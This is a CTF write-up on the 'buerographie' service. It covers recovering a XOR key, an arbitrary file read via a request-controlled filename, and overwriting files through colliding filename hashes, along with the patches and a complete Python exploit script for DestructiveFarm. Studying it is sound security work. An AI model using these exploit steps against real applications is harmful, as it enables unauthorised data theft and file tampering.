The app had (at least :D) two exploits and also two flag storages. The checker would upload two flags each round.
- Flag Store 1: The public message "Your message to the world"
- Flag Store 2: The uploaded file "Upload your personal office supply"
Flag Store 1
The flag is stored in the database. Before that, it is encrypted using a simple XOR.
function blockencrypt(msg, key, len) {
var encmsg = [];
for (var i = 0; i < len; i++) {
encmsg.push(msg[i] ^ key[i]);
}
return Buffer.from(encmsg);
}
// ...
var keyBuffer = crypto.pbkdf2Sync(result[0].password, 'salt', 10, len, 'sha256');
var msg_id = crypto.randomBytes(len);
var msg = (new TextEncoder()).encode(req.body.message);
var encmsgid = blockencrypt(keyBuffer, msg_id, len);
var encmsg = blockencrypt(keyBuffer, msg, len);
msg = encmsg.toString('hex') + msg_id.toString('hex') + encmsgid.toString('hex');
sql = `update stafftbl set message = ? where username = ?`;
db.query(sql, [msg, user], (req, result) => { ...
We can retrieve any message in its encrypted form through the endpoint /staff/message/<username>
. We can grab a set
of valid usernames from the attack data for this service.
Luckily for us, the crypto is flawed and allows recovery of the key.
Reverting the cipher
The encrypted message consists of three parts of equal length: encmsg
, msg_id
and encmsgid
.
encmsg
is the result of the msg
(the flag) XOR'ed with keyBuffer
. keyBuffer
is derived from the user-password using pbkdf2Sync
. We assume this is safe.
msg_id
is random bytes.
encmsgid
is the msg_id
XOR'ed with keyBuffer
.
We have two components of the last XOR operation, encmsgid
and msg_id
. That means we can reverse this operation. encmsgid XOR msg_id
results in keyBuffer
. Having keyBuffer
allows us to reverse the operation on encmsg
as well.
Baking it into python
(Not shown: Register & Login, complete DestructiveFarm-Script at the end)
def split(list_a, chunk_size):
# from https://www.programiz.com/python-programming/examples/list-chunks
for i in range(0, len(list_a), chunk_size):
yield list_a[i:i + chunk_size]
def blockencrypt(inp: bytes, key: bytes):
assert len(inp) == len(key)
return bytes([i ^ k for i, k in zip(inp, key)])
class Exploit:
...
def get_message(self, username):
print("Get Message", username)
response = self.session.get(f"{self.base_url}/staff/message/{username}")
message = response.json()['message']
encmsg, msg_id, encmsgid = split(message, int(len(message) / 3))
bencmsg = bytes.fromhex(encmsg)
bmsg_id = bytes.fromhex(msg_id)
bencmsgid = bytes.fromhex(encmsgid)
keyBuffer = blockencrypt(bencmsgid, bmsg_id)
original = blockencrypt(bencmsg, keyBuffer)
return original.decode()
Fix it
We had no clue what the checker would check for. We tried restricting the public message of a user to be only available
to that user. That did not make the checker happy.
In the end, we replaced the msg_id
part of the stored message with another set of random bytes.
var keyBuffer = crypto.pbkdf2Sync(result[0].password, 'salt', 10, len, 'sha256');
var msg_id = crypto.randomBytes(len);
var msg = (new TextEncoder()).encode(req.body.message);
var encmsgid = blockencrypt(keyBuffer, msg_id, len);
var encmsg = blockencrypt(keyBuffer, msg, len);
var fake_msg_id = crypto.randomBytes(len);
msg = encmsg.toString('hex') + fake_msg_id.toString('hex') + encmsgid.toString('hex');
Checker was happy and we weren't losing any more flags.
Flag Store 2
The site allows you to upload a file. The file is placed on the disk in plain text. You can only upload one file. The
file can be retrieved through the /staff/supply/ endpoint. The file upload is managed by multer
.
multer
also handles the filename on disk.
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, 'uploads');
},
filename: (req, file, cb) => {
var newname = crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');
cb(null, newname);
}
});
The /staff/supply/:fn
-endpoint delivers us the uploaded file. The relevant code is shown below. It is first checked
if the user has uploaded a file. If not, an error is shown. If yes, the file is sent.
app.get('/staff/supply/:fn', (req, res) => {
var fn = '/app/uploads/' + req.params.fn;
var user = req.session.user;
console.log('Get staff supply: ' + fn);
var sql = `select supplyname from supplytbl where username = ?`;
db.query(sql, [user], (err, result) => {
if(err) {
console.log('Get staff supply: ' + err.message);
res.status(500).send({'status': 'null'});
} else if (result.length == 0) {
console.log('Get staff supply: supply empty');
res.status(404).send({'status': 'supply not found'});
} else {
res.setHeader('Content-Type', 'text/plain');
res.status(200).sendFile(fn);
}
});
});
Arbitrary file read
Take a look at the sql query. It will return a row once you uploaded a file for the currently logged-in user.
Getting at least one row here will bring us directly to the else
block where the
file of the other user is being returned instead of our file. The security flaw is that the returned file is not
based on the query result but rather solely on an HTTP request query parameter.
We can download any file, we just need to know the filename. multer
combines username and original filename into a
sha1 hash. Luckily, we get the username and the filename from the attack data for this service.
Assembling this is simple. We can use python for that and include it in our exploit script.
def calc_hash(username, filename):
return hashlib.sha1(username.encode('utf-8') + filename.encode('utf8')).hexdigest()
class Exploit:
...
def get_file(self, thehash):
print("Get File", thehash)
# print("Trying", f"{self.base_url}/staff/supply/{thehash}")
response = self.session.get(f"{self.base_url}/staff/supply/{thehash}")
print("Got file", response.text)
return response.text
Plug the hole
Our fix restricted the access to the file to the user it belongs to. We only changed the sendFile
line.
var newname = crypto.createHash('sha1').update(req.session.user + result[0].supplyname).digest('hex');
res.status(200).sendFile('/app/uploads/' + newname);
As a result, the endpoint would not return the requested file, but the file belonging to the logged-in user instead.
Another option would have been to calculate a hash of the filename (supplyname
) from the database and compare that
to the filename from the HTTP request query parameter. That would also allow returning a proper error. We opted for
confusion instead :P
Bonus: Denial of Service
We only learned this after the CTF, but it's still worth mentioning. The file storage was prone to a denial of service
attack. This means you can overwrite arbitrary files and therefore remove or corrupt flags of other teams, lowering
their SLA and preventing other teams from getting flags.
The vulnerability is a filename collision from the expression req.session.user + file.originalname
. We, as an attacker,
control both parts of this expression. Therefore, we can produce any string by choosing username and filename correctly.
Example
The CTF checker registers an account named checker01
. It then uploads a file named flag01
. Concatting results in
checker01flag01
and hashing produces the hash ca72450a57a74aac795b74471ef98dfa3a5c0e5a
.
Now the attacker comes along. The attacker knows both username and filename of the user. The attacker chooses
checker01fl
as username and ag01
as filename. Concatting results in checker01flag01
and hashing produces
ca72450a57a74aac795b74471ef98dfa3a5c0e5a
.
The javascript code does not check whenever a file exists or not. It just overrides it.
Potential fix
We didn't find it during the CTF, so we don't know if this fix really worked with the checker.
The obvious fix here is to check whenever the file is existing or not. In a real world scenario, this would still lead
not be sufficient as users could still trigger a collision accidentally, resulting in a failed file upload.
Another way would be to "harden" the hash/filename, so it is truly unique. In general, we need an Element that is not
controllable by the user. The user id should work here. However, inserting it into the hash still leaves little room
for collision if the checker username starts with a number.
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, 'uploads');
},
filename: (req, file, cb) => {
var newname = crypto.createHash('sha1').update(req.session.staffid + req.session.user + file.originalname).digest('hex');
cb(null, newname);
}
});
Another option would be to add the id in the front, before hashing. This part is not controllable by the user, however,
if the indention behind hashing username and filename was to anonymize the files, we have essentially defeated that
purpose.
Of course, this is not really relevant in a CTF. But it would be, if this were a real application.
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, 'uploads');
},
filename: (req, file, cb) => {
var newname = req.session.staffid + "_" + crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');
cb(null, newname);
}
});
The user id is not present in the session by default. We need to insert it by changing the login-route.
app.post('/login', (req, res, next) => {
const user = req.body.user;
const pass = req.body.pass;
if (user == undefined || pass == undefined) {
console.log('Login failed: empty')
return res.status(400).send({'status': 'empty username or password'})
}
// CHANGE: Insert staffid in query to return data from DB
var sql = `select staffid, username, password from stafftbl where username = ?`;
db.query(sql, [user], (err, result) => {
if (err) {
console.log('Post login failed: ' + err.message)
return res.status(500).send({'status': 'null'});
}
if (result.length != 1) {
console.log('Post login failed: none or multi user')
return res.status(401).send({'status': 'Login failed'});
}
if (user == result[0].username && pass == result[0].password) {
req.session.regenerate((err) => {
if (err) next(err);
req.session.user = user;
// CHANGE: Store staffid in session
req.session.staffid = result[0].staffid;
console.log('Post login session: ' + JSON.stringify(req.session));
req.session.save((err) => {
if (err)
return next(err)
console.log('Post login succeeded: ' + user);
res.redirect('/staff');
});
});
} else if (user == result.username && pass != result.password) {
console.log('Post login failed: wrong password')
return res.status(401).send({'status': 'null'});
} else {
console.log('Post login failed: TODO')
return res.status(401).send({'status': 'null'});
}
});
});
Full exploit in DestructiveFarm
(Not shown: Our faust
module. Returns attack-data for given service and team, manages local cache of file to reduce
load on infra.)
Wrapping it up, we need to:
- Register a new account
- Login to the new account
- Upload a file
- Attack flag store 1
- Retrieve the secret with the username in the attack data
- Revert the XOR to get the plaintext flag
- Attack flag store 2
- Calculate the file hash from the username and the filename in the attack data
- Download the file
#!/usr/bin/env python3
import json
import requests
import faust
import hashlib
import sys
from argparse import ArgumentParser
from typing import List, Tuple
import random
import string
def split(list_a, chunk_size):
for i in range(0, len(list_a), chunk_size):
yield list_a[i:i + chunk_size]
def blockencrypt(inp: bytes, key: bytes):
assert len(inp) == len(key)
return bytes([i ^ k for i, k in zip(inp, key)])
class Exploit:
def __init__(self, host, port, username):
self.session = requests.Session()
self.base_url = f"http://{host}:{port}"
self.username = username
def register(self, username, password):
print("Register")
resp = self.session.post(f"{self.base_url}/register", data={
"user": username,
"pass": password,
"pass2": password,
"submit": "sign up"
})
# assert resp.status_code == 200
def login(self, username, password):
print("Login")
resp = self.session.post(f"{self.base_url}/login", data={
"user": username,
"pass": password,
"submit": "login"
})
assert resp.status_code == 200
def upload_any_file(self):
print("Upload")
resp = self.session.post(
f"{self.base_url}/staff/supply",
files={
'supply': ('buerofile.txt', open('buerofile.txt', "rb"))
}
)
# assert resp.status_code == 200
def get_file(self, thehash):
print("Get File", thehash)
# print("Trying", f"{self.base_url}/staff/supply/{thehash}")
response = self.session.get(f"{self.base_url}/staff/supply/{thehash}")
print("Got file", response.text)
return response.text
def get_message(self, username):
print("Get Message", username)
response = self.session.get(f"{self.base_url}/staff/message/{username}")
message = response.json()['message']
encmsg, msg_id, encmsgid = split(message, int(len(message) / 3))
bencmsg = bytes.fromhex(encmsg)
bmsg_id = bytes.fromhex(msg_id)
bencmsgid = bytes.fromhex(encmsgid)
keyBuffer = blockencrypt(bencmsgid, bmsg_id)
original = blockencrypt(bencmsg, keyBuffer)
return original.decode()
def run_exploit(self, users: List[str], hashes: List[str]):
username = self.username
password = get_random_string(12)
self.register(username, password)
self.login(username, password)
self.upload_any_file()
fileflags = [self.get_file(thehash) for thehash in hashes]
messageflags = [self.get_message(user) for user in users]
return fileflags + messageflags
def get_random_string(length):
return ''.join(random.choice(string.ascii_letters) for _ in range(length))
def calc_hash(username, filename):
return hashlib.sha1(username.encode('utf-8') + filename.encode('utf8')).hexdigest()
if __name__ == "__main__":
parser = ArgumentParser("hacx")
parser.add_argument("host", default="[fd66:666:964::2]", nargs="?")
args = parser.parse_args()
host = args.host
port = 13731
data = faust.get_service_data(faust.get_team_from_host(host), "buerographie")
ignored_teams = [
"[fd66:666:1::2]"
"[fd66:666:964::2]"
]
if host in ignored_teams:
print("Host is patched, we ignore it", file=sys.stderr, flush=True)
exit(0)
hashes = []
users = []
for round in data:
round_data = json.loads(round)
hashes.append(calc_hash(round_data['username'], round_data['supplyname']))
users.append(round_data['username'])
# We used usernames from our own attack data to blend in with the rest
ourdata = json.loads(next(iter(faust.get_service_data(964, 'buerographie'))))
username = ourdata["username"]
exploit = Exploit(host, port, username)
flags = exploit.run_exploit(users, hashes)
for flag in flags:
print(flag)